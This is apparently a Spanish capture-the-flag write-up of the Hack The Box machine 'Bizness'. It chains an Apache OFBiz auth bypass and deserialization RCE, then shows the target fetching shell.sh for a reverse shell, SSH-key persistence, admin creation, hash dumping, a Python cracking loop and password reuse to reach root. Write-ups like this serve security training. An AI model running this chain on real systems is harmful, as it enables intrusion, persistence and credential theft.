Bizness
9 minutos de lectura
root
- SO: Linux
- Dificultad: Fácil
- Dirección IP: 10.10.11.252
- Fecha: 06 / 01 / 2024
Escaneo de puertos
# Nmap 7.94 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.252 -p 22,80,443,43569
Nmap scan report for 10.10.11.252
Host is up (0.086s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
443/tcp open ssl/http nginx 1.18.0
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
|_http-server-header: nginx/1.18.0
| tls-nextprotoneg:
|_ http/1.1
|_http-title: Did not follow redirect to https://bizness.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 32.37 seconds
La máquina tiene abiertos los puertos 22 (SSH), 80 (HTTP) y 443 (HTTPS).
Enumeración
Si vamos a http://10.10.11.252
, se nos redirige a http://bizness.htb
, por lo que tenemos que poner el dominio bizness.htb
en /etc/hosts
.
En la parte inferior de la página podemos ver que la página web está construida con Apache OFBiz:
Por el momento, enumeremos algunas rutas usando fuzzing:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/raft-small-words.txt -u https://bizness.htb/FUZZ -r -fs 27200
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : https://bizness.htb/FUZZ
:: Wordlist : FUZZ: /opt/wordlists/SecLists/Discovery/Web-Content/raft-small-words.txt
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 27200
________________________________________________
control [Status: 200, Size: 34633, Words: 10468, Lines: 492, Duration: 4067ms]
ap [Status: 200, Size: 11077, Words: 1211, Lines: 186, Duration: 5874ms]
example [Status: 200, Size: 11153, Words: 1220, Lines: 188, Duration: 2096ms]
ecommerce [Status: 200, Size: 530, Words: 55, Lines: 9, Duration: 138ms]
accounting [Status: 200, Size: 11103, Words: 1211, Lines: 186, Duration: 1405ms]
projectmgr [Status: 200, Size: 11182, Words: 1221, Lines: 187, Duration: 2672ms]
webtools [Status: 200, Size: 9851, Words: 1003, Lines: 154, Duration: 1324ms]
bi [Status: 200, Size: 11058, Words: 1211, Lines: 186, Duration: 1065ms]
myportal [Status: 200, Size: 10724, Words: 1193, Lines: 180, Duration: 2497ms]
facility [Status: 200, Size: 11107, Words: 1211, Lines: 186, Duration: 754ms]
manufacturing [Status: 200, Size: 11149, Words: 1211, Lines: 186, Duration: 384ms]
solr [Status: 200, Size: 11072, Words: 1212, Lines: 186, Duration: 1763ms]
sfa [Status: 200, Size: 11262, Words: 1236, Lines: 188, Duration: 2229ms]
humanres [Status: 200, Size: 11594, Words: 1276, Lines: 191, Duration: 1440ms]
partymgr [Status: 200, Size: 11281, Words: 1236, Lines: 188, Duration: 1482ms]
ordermgr [Status: 200, Size: 11100, Words: 1211, Lines: 186, Duration: 1305ms]
workeffort [Status: 200, Size: 11103, Words: 1211, Lines: 186, Duration: 1402ms]
:: Progress: [43007/43007] :: Job [1/1] :: 82 req/sec :: Duration: [0:04:11] :: Errors: 5 ::
Como se puede ver, tenemos algunas rutas interesantes. Por ejemplo /control
:
Pero la ruta relevante es /webtools
, que redirige a /webtools/control/main
:
Esta pñagina muestra unas credenciales por defecto y nos permite ir a la página de inicio de sesión:
Las credenciales por defecto no funcionan, pero podemos ver la versión exacta de Apache OFBiz (18.12).
Acceso a la máquina
Si buscamos vulnerabilidades, podemos encontrar CVE-2023-51467, que permite saltarnos la autenticación. Entonces, podemos abusar de otro CVE-2023-49070 para obtener RCE a través de XML-RPC (más información en thehackernews.com).
Exploit de OFBiz
Si buscamos un poco, podemos encontrar exploit público. Tomé el exploit de deserialización en Java que hice para Monitors, y lo adapté para que funcionara con el bypass de autenticación. Esto es solo enviar el paylaod de deserialización a /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y
. Además, tuve que cambiar la manera de llamar a ysoserial
. El script completo se puede encontrar en ofbiz_exploit.sh (explicación detallada aquí).
Primero necesitamos configurar un servidor HTTP con Python y luego ejecutamos el exploit:
$ bash ofbiz_exploit.sh 10.10.17.44 4444 ysoserial-all.jar
Entonces, la máquina remota descargará el archivo shell.sh
y lo ejecutará:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::ffff:10.10.11.252 - - [] "GET /shell.sh HTTP/1.1" 200 -
Y así obtenemos la conexión:
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.129.241.183:48618.
bash: cannot set terminal process group (770): Inappropriate ioctl for device
bash: no job control in this shell
ofbiz@bizness:/opt/ofbiz$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
ofbiz@bizness:/opt/ofbiz$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
ofbiz@bizness:/opt/ofbiz$ export TERM=xterm
ofbiz@bizness:/opt/ofbiz$ export SHELL=bash
ofbiz@bizness:/opt/ofbiz$ stty rows 50 columns 158
En este punto, podemos obtener la flag user.txt
:
ofbiz@bizness:/opt/ofbiz$ cd
ofbiz@bizness:~$ cat user.txt
849775874d18052289b8fc696f504283
Enumeración del sistema
Después de hacer una enumeración básica para ver procesos en ejecución, permisos de usuario, puertos internos… no encontramos nada relevante.
En cambio, podemos continuar enumerando OFBiz. Por ejemplo, podemos intentar encontrar la base de datos. El repositorio oficial muestra cómo configurar una base de datos. Por lo tanto, dado que OFBiz está basado en Java, debemos buscar un JDBC, que debe establecerse en framework/entity/lib
:
ofbiz@bizness:~$ cd /opt/ofbiz/
ofbiz@bizness:/opt/ofbiz$ ls framework/entity/lib/
postgresql-9.1-901.jdbc4.jar
Sin embargo, no hay servicio PostgreSQL en ejecución (debería estar en el puerto 5432):
ofbiz@bizness:/opt/ofbiz$ netstat -nat | grep LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 127.0.0.1:8443 :::* LISTEN
tcp6 0 0 127.0.0.1:10523 :::* LISTEN
tcp6 0 0 :::443 :::* LISTEN
tcp6 0 0 :::34083 :::* LISTEN
tcp6 0 0 127.0.0.1:8009 :::* LISTEN
tcp6 0 0 127.0.0.1:8080 :::* LISTEN
tcp6 0 0 :::80 :::* LISTEN
Copia de seguridad de la base de datos
Entonces, una cosa que podemos hacer es intentar acceder a OFBiz como administrador y hacer una copia de seguridad de la base de datos. Encontré una manera de crear una nueva cuenta de administrador desde la interfaz de línea de comandos en stackoverflow.net. Pero antes que nada, debemos detener el proceso, lo que matará nuestra reverse shell. Por lo tanto, podemos ingresar a una clave SSH pública para mantener persistencia en la máquina y no depender del proceso de OFBiz:
ofbiz@bizness:/opt/ofbiz$ mkdir ~/.ssh
ofbiz@bizness:~$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4oqlyZPkeS8Y5Tr32uf4M8nkW5U9ySBUP9C9yw9kVCspp4x3lM/jLx4goHAMmsh3CTpW4T34g0//9Q0yfbX1PSPU50lIiHXYOmgSePTmbvOZsFKMJmTE0k+DoktIykYuIkmiSQf/9ea2V8M/ew1Zh7KqD7j2WRw1iWNBmRr21AZKJ26kWZfRZ1mBJL4/Kei/DviXTDZbKG3ENLYTd5gzIKk7OGrYzeCIfgeMgZ5RjQPcg0mPy8XECs4L+mKRY9lCMMxyf6Cgr45Zyr5XuPa/vulwGc5Wgp3nAmS7trC1bY2UMQNaH6TnheizMHOnWdH/lNJHsWkfjIHjryEzvBpgXQFcJnTUUq5QnCLAYOrrYmFc6mG2HlNx+JbZkZy1BfLLUFzx3jc3E4tBt/qUqw5tuAbrRxw0VH/reCtKcTZGFASrjcxRO4e73hx63bnVoMhMD0bOtlr6RRtYThOvra4Ueq73vd6waKNfouo7h8/wDavBPkxIstLMxziMP9dZg7X0=' > ~/.ssh/authorized_keys
Ahora podemos acceder a través de SSH sin contraseña y crear una nueva cuenta de administrador para OFBiz:
$ ssh ofbiz@bizness.htb
Linux bizness 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 (2023-09-29) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jan 10 12:14:22 2024 from 10.10.14.134
ofbiz@bizness:~$ cd /opt/ofbiz/
ofbiz@bizness:/opt/ofbiz$ ./gradlew 'ofbiz --shutdown'
> Task :compileJava UP-TO-DATE
> Task :compileGroovy UP-TO-DATE
> Task :processResources UP-TO-DATE
> Task :classes UP-TO-DATE
> Task :jar UP-TO-DATE
> Task :startScripts UP-TO-DATE
> Task :distTar UP-TO-DATE
> Task :distZip UP-TO-DATE
> Task :assemble UP-TO-DATE
> Task :checkstyleMain UP-TO-DATE
> Task :compileTestJava UP-TO-DATE
> Task :compileTestGroovy UP-TO-DATE
> Task :processTestResources NO-SOURCE
> Task :testClasses UP-TO-DATE
> Task :checkstyleTest UP-TO-DATE
> Task :test UP-TO-DATE
> Task :check UP-TO-DATE
> Task :build UP-TO-DATE
> Task :ofbiz --shutdown
Config.java using configuration file start.properties
...
> Task :ofbiz --shutdown
Config.java using configuration file start.properties
Set OFBIZ_HOME to - /opt/ofbiz
Shutting down server : OK
BUILD SUCCESSFUL in 4s
13 actionable tasks: 1 executed, 12 up-to-date
ofbiz@bizness:/opt/ofbiz$ ./gradlew loadAdminUserLogin -PuserLoginId=myadmin
> Task :compileJava UP-TO-DATE
> Task :compileGroovy UP-TO-DATE
> Task :processResources UP-TO-DATE
> Task :classes UP-TO-DATE
> Task :jar UP-TO-DATE
> Task :startScripts UP-TO-DATE
> Task :distTar UP-TO-DATE
> Task :distZip UP-TO-DATE
> Task :assemble UP-TO-DATE
> Task :checkstyleMain UP-TO-DATE
> Task :compileTestJava UP-TO-DATE
> Task :compileTestGroovy UP-TO-DATE
> Task :processTestResources NO-SOURCE
> Task :testClasses UP-TO-DATE
> Task :checkstyleTest UP-TO-DATE
> Task :test UP-TO-DATE
> Task :check UP-TO-DATE
> Task :build UP-TO-DATE
> Task :executeLoadAdminUser
Config.java using configuration file load-data.properties
...
> Task :loadAdminUserLogin
BUILD SUCCESSFUL in 25s
14 actionable tasks: 2 executed, 12 up-to-date
ofbiz@bizness:/opt/ofbiz$ ./gradlew 'ofbiz --start'
> Task :compileJava UP-TO-DATE
> Task :compileGroovy UP-TO-DATE
> Task :processResources UP-TO-DATE
> Task :classes UP-TO-DATE
> Task :jar UP-TO-DATE
> Task :startScripts UP-TO-DATE
> Task :distTar UP-TO-DATE
> Task :distZip UP-TO-DATE
> Task :assemble UP-TO-DATE
> Task :checkstyleMain UP-TO-DATE
> Task :compileTestJava UP-TO-DATE
> Task :compileTestGroovy UP-TO-DATE
> Task :processTestResources NO-SOURCE
> Task :testClasses UP-TO-DATE
> Task :checkstyleTest UP-TO-DATE
> Task :test UP-TO-DATE
> Task :check UP-TO-DATE
> Task :build UP-TO-DATE
> Task :ofbiz --start
Config.java using configuration file start.properties
...
En este punto, podemos ir a la web y acceder usando credenciales myadmin:ofbiz
. Luego, el servicio nos pedirá que creemos una nueva contraseña:
Y llegaremos al panel de administración:
Después de un poco de tiempo navegando por todas las opciones, encontramos el lugar correcto para hacer una copia de seguridad de la base de datos a un archivo XML:
En realidad, podemos elegir qué entidades (tablas SQL) incluir en la copia de seguridad. Estamos interesados en UserLogin
:
Una vez realizada la copia de seguridad, podemos encontrarla en /dev/shm
:
ofbiz@bizness:/opt/ofbiz$ cat /dev/shm/userlogin.xml
<?xml version="1.0" encoding="UTF-8"?>
<entity-engine-xml>
<UserLogin userLoginId="myadmin" currentPassword="$SHA$pyNT3jL.yRQVp$UbBJA0WEd6NCPzOJhCv5hBUIz1k" enabled="Y" hasLoggedOut="N" requirePasswordChange="N" l
astTimeZone="Europe/Madrid" lastUpdatedStamp="2024-01-10 12:18:18.889" lastUpdatedTxStamp="2024-01-10 12:18:18.826" createdStamp="2024-01-10 12:16:27.176" cre
atedTxStamp="2024-01-10 12:16:26.925"/>
<UserLogin userLoginId="admin" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" requirePasswordChange="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445"/>
<UserLogin userLoginId="anonymous" enabled="N" lastUpdatedStamp="2023-12-16 03:38:54.747" lastUpdatedTxStamp="2023-12-16 03:38:54.284" createdStamp="2023-12-16 03:38:54.747" createdTxStamp="2023-12-16 03:38:54.284"/>
<UserLogin userLoginId="system" isSystem="Y" enabled="N" lastUpdatedStamp="2023-12-16 03:39:04.584" lastUpdatedTxStamp="2023-12-16 03:39:04.538" createdStamp="2023-12-16 03:38:54.694" createdTxStamp="2023-12-16 03:38:54.284" partyId="system"/>
</entity-engine-xml>
Escalada de privilegios
Aquí tenemos algunas credenciales y hashes de contraseñas. Estamos interesados en romper el hash de admin
:
$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
Este es un formato personalizado diseñado por OFBiz, por lo que tendremos que sumergirnos en el código y buscar el formato real. Si simplemente buscamos por esto, obtendremos esta documentación.
Mirando la ruta del paquete (ofbiz.base.crypto.HashCrypt
) podemos buscar fácilmente en el repositorio oficial y encontrar el archivo relevante: HashCrypt.java. Nos centraremos en estos dos métodos:
public static String cryptBytes(String hashType, String salt, byte[] bytes) {
if (hashType == null) {
hashType = "SHA";
}
if (salt == null) {
salt = RandomStringUtils.random(SECURE_RANDOM.nextInt(15) + 1, CRYPT_CHAR_SET);
}
StringBuilder sb = new StringBuilder();
sb.append("$").append(hashType).append("$").append(salt).append("$");
sb.append(getCryptedBytes(hashType, salt, bytes));
return sb.toString();
}
private static String getCryptedBytes(String hashType, String salt, byte[] bytes) {
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
messagedigest.update(salt.getBytes(StandardCharsets.UTF_8));
messagedigest.update(bytes);
return Base64.encodeBase64URLSafeString(messagedigest.digest()).replace('+', '.');
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while comparing password", e);
}
}
Como se puede ver, el formato del hash es $<hash-type>$<salt>$urlsafe_base64_encode(<message-digest>)
, y el resumen del mensaje se calcula como hash-type(salt | message-digest)
.
Para romper el hash, usaré Python REPL y rockyou.txt
(obsérvese que necesitamos agregar un signo =
debido al relleno de Base64):
$ python3 -q
>>> from base64 import urlsafe_b64decode
>>> from hashlib import sha1
>>>
>>> salt = b'd'
>>> message_digest = urlsafe_b64decode('uP0_QaVBpDWFeo8-dRzDqRwXQ2I=')
>>>
>>> with open('rockyou.txt', 'rb') as f:
... while (password := f.readline()):
... if message_digest == sha1(salt + password.strip()).digest():
... print(password.strip().decode())
... break
...
monkeybizness
Y ahí tenemos la contraseña. En este punto, podemos intentar reutilizar esta contraseña para el usuario root
:
ofbiz@bizness:/opt/ofbiz$ su root
Password:
root@bizness:/opt/ofbiz# cd
root@bizness:~# cat root.txt
6609d076350235f1d67413859dd84d1f
¡Ya tenemos acceso root
!